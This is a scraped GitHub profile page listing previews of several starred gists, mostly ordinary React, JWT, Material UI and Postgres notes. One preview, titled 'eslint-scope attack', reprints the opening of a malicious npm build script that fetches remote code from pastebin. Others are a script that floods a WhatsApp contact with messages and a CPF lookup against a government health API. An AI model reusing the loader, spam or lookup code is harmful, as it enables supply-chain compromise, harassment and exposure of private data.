Skip to content

Instantly share code, notes, and snippets.

View leandrojo's full-sized avatar
🎯
Focusing

Leandro Araújo leandrojo

🎯
Focusing
  • São Paulo, Brasil
View GitHub Profile
@hbarcelos
hbarcelos / CustomSlider.jsx
Created November 27, 2019 22:19
`react-hook-form` wrapper for Material UI Slider component
import React, { useEffect, useCallback, useState, useMemo } from 'react';
import t from 'prop-types';
import clsx from 'clsx';
import { makeStyles } from '@material-ui/core/styles';
import Box from '@material-ui/core/Box';
import Slider from '@material-ui/core/Slider';
const useStyles = makeStyles(theme => ({
sliderWrapper: {},
sliderLabel: {
@samsch
samsch / stop-using-jwts.md
Last active February 1, 2026 21:14
Stop using JWTs

Stop using JWTs!

TLDR: JWTs should not be used for keeping your user logged in. They are not designed for this purpose, they are not secure, and there is a much better tool which is designed for it: regular cookie sessions.

If you've got a bit of time to watch a presentation on it, I highly recommend this talk: https://www.youtube.com/watch?v=pYeekwv3vC4 (Note that other topics are largely skimmed over, such as CSRF protection. You should learn about other topics from other sources. Also note that "valid" usecases for JWTs at the end of the video can also be easily handled by other, better, and more secure tools. Specifically, PASETO.)

A related topic: Don't use localStorage (or sessionStorage) for authentication credentials, including JWT tokens: https://www.rdegges.com/2018/please-stop-using-local-storage/

The reason to avoid JWTs comes down to a couple different points:

  • The JWT specification is specifically designed only for very short-live tokens (~5 minute or less). Sessions
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",

For example, to override the AppBar (https://material-ui-next.com/api/app-bar/) root class we can do the following:

First method (override Material UI classnames):

1 - Add the property classes in the AppBar component:

    <AppBar classes={{root: 'my-root-class'}}
@callmeloureiro
callmeloureiro / comoSerChatoNoWhatsapp.js
Last active September 23, 2024 19:29
Como fazer alguém te responder no whatsapp
/*
Hoje iremos MUDAR a vida da pessoa que não te responde no whatsappp...
Que tal enviar mensagens pra ela até obter uma resposta?!
Sensacional não acha?! Mas, somos devs, correto?! Então vamos automatizar esse paranauê!
Para utilizar:
- Abra o web.whatsapp.com;
- Selecione a conversa que você quer;
- Abra o console e cole o código que está no gist;
@cyberglot
cyberglot / retro2016.md
Last active June 8, 2019 21:24
tentando ver o lado bom de 2016...

2016 em retrospecto

2016 não foi um ano bom, em geral. Entretanto, esse foi um ano que eu considero especialmente bom na minha vida.

Tech

  • 2015 foi um ano desastroso pra mim, comecei 2016 com aviso prévio na Podio, que tava demitindo em massa todo mundo do escritório de Copenhagen. Felizmente, já na primeira semana de Janeiro, consegui uma oferta da Opbeat - que é definitivamente o produto mais interessante que já trabalhei.
  • Em Abril, larguei a Opbeat (como dev em tempo integral), para começar o doutorado em Ciência da Computação na Universidade de Roskilde. Algo que eu ensaiava fazer há muito tempo, que era me distanciar de JavaScript e desenvolvimento frontend para me dedicar à Programação Funcional e Teoria de Tipos, em um nível acadêmico.
  • Aprendi Teoria de Tipos, inclusive a implementar checadores de tipos até System F. Sei como tipos dependentes e de refinamento funcionam, embora não tenha uma visão clara de como implementá-los (2017 spoiler). Também aprendi "tipos
@Pompeu
Pompeu / cpf_consulta_api_sus.js
Last active December 1, 2020 23:29
cpf_consulta_api_sus.js
'use strict';
// @deprecade
const http = require('http');
const cpf = process.argv[2];
const parse = JSON.parse;
const log = console.log;
const url = `http://dabsistemas.saude.gov.br/sistemas/sadab/js/buscar_cpf_dbpessoa.json.php?cpf=${cpf}`;
http.get(url, res => {
public class Hello
{
   public static void Main()
   {
-      System.Console.WriteLine("Hello, World!");
+      System.Console.WriteLine("Rock all night long!");
   }
}
@knowbody
knowbody / RNfontWeights.js
Created July 14, 2016 13:42
React Native Font Weight Cheatsheet iOS
{ fontWeight: '100' }, // Thin
{ fontWeight: '200' }, // Ultra Light
{ fontWeight: '300' }, // Light
{ fontWeight: '400' }, // Regular
{ fontWeight: '500' }, // Medium
{ fontWeight: '600' }, // Semibold
{ fontWeight: '700' }, // Bold
{ fontWeight: '800' }, // Heavy
{ fontWeight: '900' }, // Black
@rmtsrc
rmtsrc / postgres-json-cheatsheet.md
Last active June 7, 2024 05:21
Using JSON in Postgres by example

PostgreSQL JSON Cheatsheet

Using JSON in Postgres by example.

Quick setup via Docker

  1. Download and install: Docker Toolbox
  2. Open Docker Quickstart Terminal
  3. Start a new postgres container:
    docker run --name my-postgres -e POSTGRES_PASSWORD=mysecretpassword -d postgres